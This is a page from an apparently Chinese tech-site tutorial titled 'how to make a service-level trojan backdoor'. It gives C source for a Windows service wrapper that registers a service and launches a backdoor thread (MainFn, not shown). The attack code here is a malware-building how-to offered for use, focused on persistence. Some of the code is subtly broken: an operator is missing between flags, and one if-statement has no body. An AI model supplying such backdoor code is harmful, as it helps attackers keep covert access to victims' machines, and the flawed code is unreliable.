黑客技巧:如何做服务级的木马后门

互联网 | 编辑: 杨剑锋 2007-07-30 16:14:00转载 一键看全文

服务函数

本程序只提供了一个服务函数BDServiceMain(),下面我们来下完成这个函数的功能,示例代码如下:

void WINAPI BDServiceMain(DWORD dwArgc, LPTSTR *lpszArgv)
{
DWORD dwThreadId; //存放线程ID

//通过RegisterServiceCtrlHandler()与服务控制程序建立一个通信的协议。
//BDHandler()是我们的服务控制程序,它被可以被用来开始,暂停,恢复,停止服务等控制操作
if (!(ServiceStatusHandle = RegisterServiceCtrlHandler("scuhkr",
              BDHandler))) 
return;

//表示该服务私有
ServiceStatus.dwServiceType = SERVICE_WIN32_OWN_PROCESS;
//初始化服务,正在开始
ServiceStatus.dwCurrentState = SERVICE_START_PENDING; //
//服务可以接受的请求,这里我们只接受停止服务请求和暂停恢复请求
ServiceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP
                SERVICE_ACCEPT_PAUSE_CONTINUE;
//下面几个一般我们不大关心,全为0
ServiceStatus.dwServiceSpecificExitCode = 0;
ServiceStatus.dwWin32ExitCode     = 0;
ServiceStatus.dwCheckPoint         = 0;
ServiceStatus.dwWaitHint         = 0;
//必须调用SetServiceStatus()来响应服务控制程序的每次请求通知
SetServiceStatus(ServiceStatusHandle, &ServiceStatus);

//开始运行服务
ServiceStatus.dwCurrentState = SERVICE_RUNNING;
ServiceStatus.dwCheckPoint   = 0;
ServiceStatus.dwWaitHint   = 0;

SetServiceStatus(ServiceStatusHandle, &ServiceStatus);
//我们用一个事件对象来控制服务的同步
if (!(hEvent=CreateEvent(NULL, FALSE, FALSE, NULL)))
return;

ServiceStatus.dwCurrentState = SERVICE_START_PENDING;
ServiceStatus.dwCheckPoint   = 0;
ServiceStatus.dwWaitHint   = 0;

SetServiceStatus(ServiceStatusHandle, &ServiceStatus);
//开线程来启动我们的后门程序
if (!(hThread=CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)MainFn, (LPVOID)0, 0, 
&dwThreadId)))


ServiceStatus.dwCurrentState = SERVICE_RUNNING;
ServiceStatus.dwCheckPoint   = 0;
ServiceStatus.dwWaitHint   = 0;

WaitForSingleObject(hEvent, INFINITE);

CloseHandle(hThread);
ExitThread(dwThreadId);
CloseHandle(hEvent);

return;
}

上面我们调用了一个服务控制函数BDHandler(),由于只是简单的介绍,我们这里只处理服务停止控制请求的情况,其它暂停、恢复等功能,读者可以自己完善。下面是对BDHandler()的实现代码:

void WINAPI BDHandler(DWORD dwControl)
{
switch(dwControl)
{
case SERVICE_CONTROL_STOP:
//等待后门程序的停止
ServiceStatus.dwCurrentState = SERVICE_STOP_PENDING;
ServiceStatus.dwCheckPoint   = 0;
ServiceStatus.dwWaitHint   = 0;

SetServiceStatus(ServiceStatusHandle, &ServiceStatus);
//设时间为激发状态,等待下一个事件的到来
SetEvent(hEvent);

ServiceStatus.dwCurrentState = SERVICE_STOP;
ServiceStatus.dwCheckPoint   = 0;
ServiceStatus.dwWaitHint   = 0;
//停止
SetServiceStatus(ServiceStatusHandle, &ServiceStatus);
break;

default:
break;
}
}

 

提示:试试键盘 “← →” 可以实现快速翻页 

一键看全文

本文导航

相关阅读

每日精选

点击查看更多

首页 手机 数码相机 笔记本 游戏 DIY硬件 硬件外设 办公中心 数字家电 平板电脑